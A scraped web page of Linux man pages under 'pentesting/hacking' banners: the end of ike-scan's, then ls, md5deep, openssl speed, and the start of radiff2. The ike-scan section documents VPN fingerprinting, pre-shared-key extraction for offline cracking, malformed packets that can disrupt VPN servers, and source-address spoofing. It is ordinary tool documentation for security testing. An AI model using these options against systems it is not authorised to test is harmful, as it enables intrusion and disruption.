Display the backoff fingerprint table. Display the backoff table to fingerprint the IKE implementation on the remote hosts. The optional argument specifies time to wait in seconds after receiving the last packet, default=60. If you are using the short form of the option (-o) then the value must immediately follow the option letter with no spaces, e.g. -o25 not -o 25.

–fuzz=<n> or -u <n>
Set pattern matching fuzz to <n> ms, default=500. This sets the maximum acceptable difference between the observed backoff times and the reference times in the backoff patterns file. Larger values allow for higher variance but also increase the risk of false positive identifications. Any per-pattern-entry fuzz specifications in the patterns file will override the value set here.

–patterns=<f> or -p <f>
Use IKE backoff patterns file <f>, default=/usr/local/share/ike-scan/ike-backoff-patterns. This specifies the name of the file containing IKE backoff patterns. This file is only used when –showbackoff is specified.

–vidpatterns=<f> or -I <f>
Use Vendor ID patterns file <f>, default=/usr/local/share/ike-scan/ike-vendor-ids. This specifies the name of the file containing Vendor ID patterns. These patterns are used for Vendor ID fingerprinting.

–aggressive or -A
Use IKE Aggressive Mode (The default is Main Mode) If you specify –aggressive, then you may also specify –dhgroup, –id and –idtype. If you use custom transforms with aggressive mode with the –trans option, note that all transforms should have the same DH Group and this should match the group specified with –dhgroup or the default if –dhgroup is not used.

–id=<id> or -n <id>
Use <id> as the identification value. This option is only applicable to Aggressive Mode. <id> can be specified as a string, e.g. –id=test or as a hex value with a leading “0x”, e.g. –id=0xdeadbeef.

–idtype=<n> or -y <n>
Use identification type <n>. Default 3 (ID_USER_FQDN). This option is only applicable to Aggressive Mode. See RFC 2407 4.6.2 for details of Identification types.

–dhgroup=<n> or -g <n>
Use Diffie Hellman Group <n>. Default 2. This option is only applicable to Aggressive Mode and IKEv2. For both of these, it is used to determine the size of the key exchange payload. If you use Aggressive Mode with custom transforms, then you will normally need to use the –dhgroup option unless you are using the default DH group. Acceptable values are 1,2,5,14,15,16,17,18 (MODP only).

–gssid=<n> or -G <n>
Use GSS ID <n> where <n> is a hex string. This uses transform attribute type 16384 as specified in draft-ietf-ipsec-isakmp-gss-auth-07.txt, although Windows-2000 has been observed to use 32001 as well. For Windows 2000, you’ll need to use –auth=65001 to specify Kerberos (GSS) authentication.

–random or -R
Randomise the host list. This option randomises the order of the hosts in the host list, so the IKE probes are sent to the hosts in a random order. It uses the Knuth shuffle algorithm.

–tcp[=<n>] or -T[<n>]
Use TCP transport instead of UDP. This allows you to test a host running IKE over TCP. You won’t normally need this option because the vast majority of IPsec systems only support IKE over UDP. The optional value <n> specifies the type of IKE over TCP. There are currently two possible values: 1 = RAW IKE over TCP as used by Checkpoint (default); 2 = Encapsulated IKE over TCP as used by Cisco. If you are using the short form of the option (-T) then the value must immediately follow the option letter with no spaces, e.g. -T2 not -T 2. You can only specify a single target host if you use this option.

–tcptimeout=<n> or -O <n>
Set TCP connect timeout to <n> seconds (default=10). This is only applicable to TCP transport mode.

–pskcrack[=<f>] or -P[<f>]
Crack aggressive mode pre-shared keys. This option outputs the aggressive mode pre-shared key (PSK) parameters for offline cracking using the “psk-crack” program that is supplied with ike-scan. You can optionally specify a filename, <f>, to write the PSK parameters to. If you do not specify a filename then the PSK parameters are written to standard output. If you are using the short form of the option (-P) then the value must immediately follow the option letter with no spaces, e.g. -Pfile not -P file. You can only specify a single target host if you use this option. This option is only applicable to IKE aggressive mode.

–nodns or -N
Do not use DNS to resolve names. If you use this option, then all hosts must be specified as IP addresses.

–noncelen=<n> or -c <n>
Set the nonce length to <n> bytes. Default=20 This option controls the length of the nonce payload that is sent in an aggressive mode or IKEv2 request. Normally there is no need to use this option unless you want to reduce the nonce size to speed up pre-shared key cracking, or if you want to see how a particular server handles different length nonce payloads. RFC 2409 states that the length of nonce payload must be between 8 and 256 bytes, but ike-scan does not enforce this. Specifying a large nonce length will increase the size of the packet sent by ike-scan. A very large nonce length may cause fragmentation, or exceed the maximum IP packet size. This option is only applicable to IKE aggressive mode.

–headerlen=<n> or -L <n>
Set the length in the ISAKMP header to <n> bytes. You can use this option to manually specify the value to be used for the ISAKMP header length. By default, ike-scan will fill in the correct value. Use this option to manually specify an incorrect length. <n> can be specified as “+n” which sets the length to n bytes more than it should be, “-n” which sets it to n bytes less, or “n” which sets it to exactly bytes. Changing the header length to an incorrect value can sometimes disrupt VPN servers.

–mbz=<n> or -Z <n>
Use the value <n> for reserved (MBZ) fields, default=0. Specifying this option makes the outgoing packet non-RFC compliant, and should only be used if you want to see how a VPN server will respond to invalid packets. The value of <n> should be in the range 0-255.

–headerver=<n> or -E <n>
Specify the ISAKMP header version. The default is 0x10 (16) which corresponds to v1.0. Specifying a non-default value will make the outgoing packet non-RFC compliant, and should only be used if you want to see how the VPN server reacts to strange versions. The value should be in the range 0-255.

–certreq=<c> or -C <c>
Add the CertificateRequest payload <c>. <c> should be specified as a hex value. The first byte of the hex value will be interpreted as the certificate type; the remaining bytes as the certificate authority as described in RFC 2408 3.10. The certificate types are listed in RFC 2408 sec 3.9. RFC 2408 states “The Certificate Request payload MUST be accepted at any point during the exchange”

–doi=<d> or -D <d>
Set the SA DOI to <d>, default 1 (IPsec). You will not normally want to change this unless you want to see how the VPN server responds to a non-standard DOI.

–situation=<s> or -S <s>
Set the SA Situation to <d>, default 1. The meaning of the situation depends on the DOI, and is detailed in the appropriate DOI document. For the IPsec DOI, the default Situation of 1 represents SIT_IDENTITY_ONLY. You will not normally want to change this unless you want to see how the VPN server responds to a non-standard situation.

–protocol=<p> or -j <p>
Set the Proposal protocol ID to <p>, default 1. The meaning of the proposal protocol ID depends on the DOI, and is detailed in the appropriate DOI document. For the IPsec DOI, the default proposal protocol id of 1 represents PROTO_ISAKMP. You will not normally want to change this unless you want to see how the VPN server responds to a non-standard protocol ID.

–transid=<t> or -k <t>
Set the Transform ID to <t>, default 1. The meaning of the transform ID depends on the DOI, and is detailed in the appropriate DOI document. For the IPsec DOI, the default transform id of 1 represents KEY_IKE. You will not normally want to change this unless you want to see how the VPN server responds to a non-standard transform ID.

–spisize=<n>
Set the proposal SPI size to <n>. Default=0 If this is non-zero, then a random SPI of the specified size will be added to the proposal payload. The default of zero means no SPI.

–hdrflags=<n>
Set the ISAKMP header flags to <n>. Default=0 The flags are detailed in RFC 2408 section 3.1

–hdrmsgid=<n>
Set the ISAKMP header message ID to <n>. Default=0 This should be zero for IKE Phase-1.

–cookie=<n>
Set the ISAKMP initiator cookie to <n> The cookie value should be specified in hex. By default, the cookies are automatically generated and have unique values. If you specify this option, then you can only specify a single target, because ike-scan requires unique cookie values to match up the response packets.

–exchange=<n>
Set the exchange type to <n> This option allows you to change the exchange type in the ISAKMP header to an arbitrary value. Note that ike-scan only supports Main and Aggressive modes (values 2 and 4 respectively). Specifying other values will change the exchange type value in the ISAKMP header, but will not adjust the other payloads. The exchange types are defined in RFC 2408 sec 3.1.

–nextpayload=<n>
Set the next payload in the ISAKMP header to <n> Normally, the next payload is automatically set to the correct value.

–randomseed=<n>
Use <n> to seed the pseudo random number generator. This option seeds the PRNG with the specified number, which can be useful if you want to ensure that the packet data is exactly repeatable when it includes payloads with random data such as key exchange or nonce. By default, the PRNG is seeded with an unpredictable value.

–timestamp
Display timestamps for received packets. This option causes a timestamp to be displayed for each received packet.

–sourceip=<s>
Set source IP address for outgoing packets to <s>. This option causes the outgoing IKE packets to have the specified source IP address. The address can either be an IP address in dotted quad format, or the string “random” which will use a different random source address for each packet that is sent. If this option is used, no packets will be received This option requires raw socket support, and you will need superuser privileges to use this option, even if you specify a high source port. This option does not work on all operating systems.

–shownum
Display the host number for received packets. This displays the ordinal host number of the responding host before the IP address. It can be useful when sending many packets to the same target IP, to see if any probes are being ignored.

–nat-t
Use RFC 3947 NAT-Traversal encapsulation. This option adds the non-ESP marker to the beginning of outgoing packets and strips it from received packets, as described in RFC 3947. It also changes the default source port to 4500 and the default destination port to 4500, which are the ports for NAT-T IKE. These port numbers can be changed with the –sport and –dport options, providing they are used after the –nat-t option.

–rcookie=<n>
Set the ISAKMP responder cookie to <n>. This sets the responder cookie to the specified hex value. By default, the responder cookie is set to zero.

–ikev2 or -2
Use IKE version 2 This causes the outgoing packets to use IKEv2 format as defined in RFC 4306 instead of the default IKEv1 format. Any packets returned are automatically decoded as IKE or IKEv2 depending on their payloads irrespective of this option. The –ikev2 option is currently experimental. It has not been extensively tested, and it only supports sending the default proposal.

FILES

/usr/local/share/ike-scan/ike-backoff-patterns
List of UDP backoff patterns. Used when the –showbackoff option is specified.

/usr/local/share/ike-scan/ike-vendor-ids
List of known Vendor ID patterns.

AUTHOR

Roy Hills <[email protected]>

SEE ALSO

http://www.royhills.co.uk/wiki/ The ike-scan wiki page.

http://www.nta-monitor.com/tools/ike-scan/ The ike-scan homepage.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1021 - Linux cli command ls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ls and provides detailed information about the command ls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ls.

NAME 🖥️ ls 🖥️

list directory contents

SYNOPSIS

ls [OPTION]… [FILE]…

DESCRIPTION

List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor –sort is specified.

Mandatory arguments to long options are mandatory for short options too.

-a, –all
do not ignore entries starting with .

-A, –almost-all
do not list implied . and ..

–author
with -l, print the author of each file

-b, –escape
print C-style escapes for nongraphic characters

–block-size=SIZE
with -l, scale sizes by SIZE when printing them; e.g., ‘–block-size=M’; see SIZE format below

-B, –ignore-backups
do not list implied entries ending with ~

-c
with -lt: sort by, and show, ctime (time of last change of file status information); with -l: show ctime and sort by name; otherwise: sort by ctime, newest first

-C
list entries by columns

–color[=WHEN]
color the output WHEN; more info below

-d, –directory
list directories themselves, not their contents

-D, –dired
generate output designed for Emacs’ dired mode

-f
list all entries in directory order

-F, –classify[=WHEN]
append indicator (one of */=>@|) to entries WHEN

–file-type
likewise, except do not append ‘*’

–format=WORD
across -x, commas -m, horizontal -x, long -l, single-column -1, verbose -l, vertical -C

–full-time
like -l –time-style=full-iso

-g
like -l, but do not list owner

–group-directories-first
group directories before files; can be augmented with a –sort option, but any use of –sort=none (-U) disables grouping

-G, –no-group
in a long listing, don’t print group names

-h, –human-readable
with -l and -s, print sizes like 1K 234M 2G etc.

–si
likewise, but use powers of 1000 not 1024

-H, –dereference-command-line
follow symbolic links listed on the command line

–dereference-command-line-symlink-to-dir
follow each command line symbolic link that points to a directory

–hide=PATTERN
do not list implied entries matching shell PATTERN (overridden by -a or -A)

–hyperlink[=WHEN]
hyperlink file names WHEN

–indicator-style=WORD
append indicator with style WORD to entry names: none (default), slash (-p), file-type (–file-type), classify (-F)

-i, –inode
print the index number of each file

-I, –ignore=PATTERN
do not list implied entries matching shell PATTERN

-k, –kibibytes
default to 1024-byte blocks for file system usage; used only with -s and per directory totals

-l
use a long listing format

-L, –dereference
when showing file information for a symbolic link, show information for the file the link references rather than for the link itself

-m
fill width with a comma separated list of entries

-n, –numeric-uid-gid
like -l, but list numeric user and group IDs

-N, –literal
print entry names without quoting

-o
like -l, but do not list group information

-p, –indicator-style=slash
append / indicator to directories

-q, –hide-control-chars
print ? instead of nongraphic characters

–show-control-chars
show nongraphic characters as-is (the default, unless program is ’ls’ and output is a terminal)

-Q, –quote-name
enclose entry names in double quotes

–quoting-style=WORD
use quoting style WORD for entry names: literal, locale, shell, shell-always, shell-escape, shell-escape-always, c, escape (overrides QUOTING_STYLE environment variable)

-r, –reverse
reverse order while sorting

-R, –recursive
list subdirectories recursively

-s, –size
print the allocated size of each file, in blocks

-S
sort by file size, largest first

–sort=WORD
sort by WORD instead of name: none (-U), size (-S), time (-t), version (-v), extension (-X), width

–time=WORD
select which timestamp used to display or sort; access time (-u): atime, access, use; metadata change time (-c): ctime, status; modified time (default): mtime, modification; birth time: birth, creation;

with -l, WORD determines which time to show; with –sort=time, sort by WORD (newest first)

–time-style=TIME_STYLE
time/date format with -l; see TIME_STYLE below

-t
sort by time, newest first; see –time

-T, –tabsize=COLS
assume tab stops at each COLS instead of 8

-u
with -lt: sort by, and show, access time; with -l: show access time and sort by name; otherwise: sort by access time, newest first

-U
do not sort; list entries in directory order

-v
natural sort of (version) numbers within text

-w, –width=COLS
set output width to COLS. 0 means no limit

-x
list entries by lines instead of by columns

-X
sort alphabetically by entry extension

-Z, –context
print any security context of each file

–zero
end each output line with NUL, not newline

-1
list one file per line

–help
display this help and exit

–version
output version information and exit

The SIZE argument is an integer and optional unit (example: 10K is 10*1024). Units are K,M,G,T,P,E,Z,Y,R,Q (powers of 1024) or KB,MB,… (powers of 1000). Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

The TIME_STYLE argument can be full-iso, long-iso, iso, locale, or +FORMAT. FORMAT is interpreted like in date(1). If FORMAT is FORMAT1<newline>FORMAT2, then FORMAT1 applies to non-recent files and FORMAT2 to recent files. TIME_STYLE prefixed with ‘posix-’ takes effect only outside the POSIX locale. Also the TIME_STYLE environment variable sets the default style to use.

The WHEN argument defaults to ‘always’ and can also be ‘auto’ or ’never’.

Using color to distinguish file types is disabled both by default and with –color=never. With –color=auto, ls emits color codes only when standard output is connected to a terminal. The LS_COLORS environment variable can change the settings. Use the dircolors(1) command to set it.

Exit status:

0
if OK,

1
if minor problems (e.g., cannot access subdirectory),

2
if serious trouble (e.g., cannot access command-line argument).

AUTHOR

Written by Richard M. Stallman and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

dircolors(1)

Full documentation <https://www.gnu.org/software/coreutils/ls>
or available locally via: info ‘(coreutils) ls invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1022 - Linux cli command md5deep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command md5deep and provides detailed information about the command md5deep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the md5deep.

NAME 🖥️ md5deep 🖥️

Compute and compare MD5 message digests
sha1deep - Compute and compare SHA-1 message digests
sha256deep - Compute and compare SHA-256 message digests
tigerdeep - Compute and compare Tiger message digests
whirlpooldeep - Compute and compare Whirlpool message digests

SYNOPSIS

md5deep -v | -V | -h
md5deep [-m|-M|-x|-X <file>] [-a|-A <hash>] [-f <file>] [-p <size>] [-i <size>] [-tnwzresS0lbkqZud] [-F <bum>] [-o <fbcplsde>] [-j <num>] [[FILES]

DESCRIPTION

Computes the hashes, or message digest, for any number of files while optionally recursively digging through the directory structure. Can also take a list of known hashes and display the filenames of input files whose hashes either do or do not match any of the known hashes. Errors are reported to standard error. If no FILES are specified, reads from standard input.

-p <size>
Piecewise mode. Breaks files into chunks before hashing. Chunks may be specified using IEC multipliers b, k, m, g, t, p, or e. (Never let it be said that the author didn’t plan ahead!) This mode cannot be used with the -z mode.

-i|-I <size>
Size threshold mode. Only hash files smaller than the given the threshold. In -i mode, simply omits those files larger than the threshold. In -I mode, displays all files, but uses asterisks for the hashes of files larger than the threshold. Sizes may be specified using IEC multipliers b, k, m, g, t, p, or e.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling md5deep -r *.txt will examine all files in directories that end in .txt.

-e
Displays a progress indicator and estimate of time remaining for each file being processed. Time estimates for files larger than 4GB are not available on Windows. This mode may not be used with th -p mode.

-m <file>
Enables matching mode. The file given should be a list of known hashes. The input files are examined one at a time, and only those files that match the list of known hashes are output. This flag may be used more than once to add multiple sets of known hashes. Acceptable formats for lists of known hashes are plain (such as those generated by md5deep or md5sum), Hashkeeper files, iLook, and the National Software Reference Library (NSRL) as produced by the National Institute for Standards in Technology.
If standard input is used with the -m flag, displays “stdin” if the input matches one of the hashes in the list of known hashes. If the hash does not match, the program displays no output.
This flag may not be used in conjunction with the -x, -X, or -A flags. See the section “UNICODE SUPPORT” below.

-x <file>
Same as the -m flag above, but does negative matching. That is, only those files NOT in the list of known hashes are displayed.
This flag may not be used in conjunction with the -m, -M, or -a flags. See the section “UNICODE SUPPORT” below.

-M and -X <file>
Same as -m and -x above, but displays the hash for each file that does (or does not) match the list of known hashes.

-a <hash>
Adds a single hash to the list of known hashes used for matching mode, and if not already enabled, enables matching mode. Adding single hashes cannot, by itself, be used to print the hashes of matching files like the -M flag does. When used in conjunction with the -w flag, the filename displayed is just the hash submitted on the command line.
This flag may not be used in conjunction with the -x, -X, or -A flags.

-A <hash>
Same as -a above, but does negative matching. This flag may not be used in conjunction with the -m, -M, or -A flags.

-f <file>
Takes a list of files to be hashed from the specified file. Each line is assumed to be a filename. This flag can only be used once per invocation. If it’s used a second time, the second instance will clobber the first.
Note that you can still use other flags, such as the -m or -x modes, and submit additional FILES on the command line.

-w
During any of the matching modes (-m,-M,-x,or -X), displays the filename of the known hash that matched the input file. See the section “UNICODE SUPPORT” below.

-t
Display a timestamp in GMT with each result. On Windows this timestamp will be the file’s creation time. On all other systems it should be the file’s change time.

-n
During any of the matching modes (-m,-M,-x,or -X), displays only the filenames of any known hashes that were not matched by any of the input files.

-s
Enables silent mode. All error messages are suppressed.

-S
Like silent mode, but still displays warnings on improperly formatted hashes in the list of known hashes.

-z
Enables file size mode. Prepends the hash with a ten digit representation of the size of each file processed. If the file size is greater than 9999999999 bytes (about 9.3GB) the program displays 9999999999 for the size.

-q
Quiet mode. File names are omitted from the output. Each hash is still followed by two spaces before the newline.

-Z
Produces output in Triage format. Each line contains the file’s size, a tab, a hash of the first 512 bytes, a tab, the hash of the complete file, a tab, and the file name. These values are intended in increasing order of specificity. That is, two files with different sizes cannot possibly match. This is a fast comparison and should be done first. Next, two files with different partial hashes cannot possibly match. This is often faster than hashing the whole file. Finally, if those two pieces align, then it’s worth reading and hashing the entire file.

-0
Uses a NULL character (/0) to terminate each line instead of a newline. Useful for processing filenames with strange characters.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-k
Enables asterisk mode. An asterisk is inserted in lieu of a second space between the filename and the hash, just like md5sum in its binary (-b) mode.

-c
Enables comma separated values output, or CSV mode. This mode has the side effect of removing the 10 digit size limitation from -z mode. Also note that asterisks from -k mode are not displayed when in CSV mode.

-o <bcpflsd>
Enables expert mode. Allows the user specify which (and only which) types of files are processed. Directory processing is still controlled with the -r flag. The expert mode options allowed are:
f - Regular files
b - Block Devices
c - Character Devices
p - Named Pipes
l - Symbolic Links
s - Sockets
d - Solaris Doors
e - Windows PE executables

-jnn
Controls multi-threading. By default the program will create one producer thread to scan the file system and one hashing thread per CPU core. Multi-threading causes output filenames to be in non-deterministic order, as files that take longer to hash will be delayed while they are hashed. If a deterministic order is required, specify -j0 to disable multi-threading

-d
Output in Digital Forensics XML (DFXML) format.

-u
Quote Unicode output. For example, the snowman is shown as U+C426.

-F<bum>
Specifies the input mode that is used to read files. The default is -Fb (buffered I/O) which reads files with fopen(). Specifying -Fu will use unbuffered I/O and read the file with open(). Specifying -Fm will use memory-mapped I/O which will be faster on some platforms, but which (currently) will not work with files that produce I/O errors.

-h
Show a help screen and exit.

-v
Show the version number and exit.

-V
Show copyright information and exit.

UNICODE SUPPORT

As of version 3.0 the program supports Unicode characters in filenames on Microsoft Windows systems for filenames specified on the command line with globbing (e.g. *), for files specified with the -f of files to hash, and for files read from directories using the -r option.

By default all program input and output should be in UTF-8. The program automatically converts this to UTF-16 for opening files).

On Unix/Linux/MacOS, you should use a terminal emulator that supports UTF-8 and UTF-8 characters in filenames will be properly displayed.

On Windows, the programs do not display Unicode characters on the console. You must either redirect output to a file and open the file with Wordpad (which can display Unicode), or you must specify the -u option to quote Unicode using standard U+XXXX notation.

Currently the file name of a file containing known hashes may not be specified as a unicode filename, but you can specify the name using tab completion or an asterisk (e.g. md5deep -m *.txt where there is only one file with a .txt extension).

RETURN VALUE

Returns a bit-wise value based on the success of the operation and the status of any matching operations.

0
Success. Note that the program considers itself successful even when it encounters read errors, permission denied errors, or finds directories when not in recursive mode.

1
Unused hashes. Under any of the matching modes, returns this value if one or more of the known hashes was not matched by any of the input files.

2
Unmatched inputs. Under any of the matching modes, returns this value if one or more of the input values did not match any of the known hashes.

64
User error, such as trying to do both positive and negative matching at the same time.

128
Internal error, such as memory corruption or uncaught cycle. All internal errors should be reported to the developer! See the section “Reporting Bugs” below.

AUTHOR

md5deep was written by Jesse Kornblum, [email protected] and Simson Garfinkel.

KNOWN ISSUES

Using the -r flag cannot be used to recursively process all files of a given extension in a directory. This is a feature, not a bug. If you need to do this, use the find(1) command.

REPORTING BUGS

We take all bug reports very seriously. Any bug that jeopardizes the forensic integrity of this program could have serious consequences on people’s lives. When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to the author at the address above.

COPYRIGHT

This program is a work of the US Government. In accordance with 17 USC 105, copyright protection is not available for any work of the US Government. This program is PUBLIC DOMAIN. Portions of this program contain code that is licensed under the terms of the General Public License (GPL). Those portions retain their original copyright and license. See the file COPYING for more details.

There is NO warranty for this program; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information and installation instructions can be found in the README file. Current versions of both documents can be found on the project homepage: http://md5deep.sourceforge.net/

The MD5 specification, RFC 1321, is available at
http://www.ietf.org/rfc/rfc1321.txt

The SHA-1 specification, RFC 3174, is available at
http://www.faqs.org/rfcs/rfc3174.html

The SHA-256 specification, FIPS 180-2, is available at
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf

The SHA-3-256 specification is available at
http://keccak.noekeon.org/

The Tiger specification is available at
http://www.cs.technion.ac.il/~biham/Reports/Tiger/

The Whirlpool specification is available at
http://planeta.terra.com.br/informatica/paulobarreto/WhirlpoolPage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1023 - Linux cli command openssl-speedssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-speedssl and provides detailed information about the command openssl-speedssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-speedssl.

NAME 🖥️ openssl-speedssl 🖥️

speed - test library performance

SYNOPSIS

openssl speed [-help] [-config filename] [-elapsed] [-evp algo] [-hmac algo] [-cmac algo] [-mb] [-aead] [-kem-algorithms] [-signature-algorithms] [-multi num] [-async_jobs num] [-misalign num] [-decrypt] [-primes num] [-seconds num] [-bytes num] [-mr] [-mlock] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [algorithm …]

DESCRIPTION

This command is used to test the performance of cryptographic algorithms.

OPTIONS

-help
Print out a usage message.

-config filename
Specifies the configuration file to use. Optional; for a description of the default value, see “COMMAND SUMMARY” in openssl (1).

-elapsed
When calculating operations- or bytes-per-second, use wall-clock time instead of CPU user time as divisor. It can be useful when testing speed of hardware engines.

-evp algo
Use the specified cipher or message digest algorithm via the EVP interface. If algo is an AEAD cipher, then you can pass -aead to benchmark a TLS-like sequence. And if algo is a multi-buffer capable cipher, e.g. aes-128-cbc-hmac-sha1, then -mb will time multi-buffer operation. To see the algorithms supported with this option, use openssl list -digest-algorithms or openssl list -cipher-algorithms command.

-multi num
Run multiple operations in parallel.

-async_jobs num
Enable async mode and start specified number of jobs.

-misalign num
Misalign the buffers by the specified number of bytes.

-hmac digest
Time the HMAC algorithm using the specified message digest.

-cmac cipher
Time the CMAC algorithm using the specified cipher e.g. openssl speed -cmac aes128.

-decrypt
Time the decryption instead of encryption. Affects only the EVP testing.

-mb
Enable multi-block mode on EVP-named cipher.

-aead
Benchmark EVP-named AEAD cipher in TLS-like sequence.

-kem-algorithms
Benchmark KEM algorithms: key generation, encapsulation, decapsulation.

-signature-algorithms
Benchmark signature algorithms: key generation, signature, verification.

-primes num
Generate a num-prime RSA key and use it to run the benchmarks. This option is only effective if RSA algorithm is specified to test.

-seconds num
Run benchmarks for num seconds.

-bytes num
Run benchmarks on num-byte buffers. Affects ciphers, digests and the CSPRNG. The limit on the size of the buffer is INT_MAX - 64 bytes, which for a 32-bit int would be 2147483583 bytes.

-mr
Produce the summary in a mechanical, machine-readable, format.

-mlock
Lock memory into RAM for more deterministic measurements.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

algorithm …
If any algorithm is given, then those algorithms are tested, otherwise a pre-compiled grand selection is tested.

BUGS

The algorithm can be selected only from a pre-compiled subset of things that the openssl speed command knows about. To test any additional digest or cipher algorithm supported by OpenSSL use the -evp option.

There is no way to test the speed of any additional public key algorithms supported by third party providers with the openssl speed command.

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

DSA512 was removed in OpenSSL 3.2.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1024 - Linux cli command radiff2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command radiff2 and provides detailed information about the command radiff2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the radiff2.

NAME 🖥️ radiff2 🖥️

binary diffing utility

SYNOPSIS

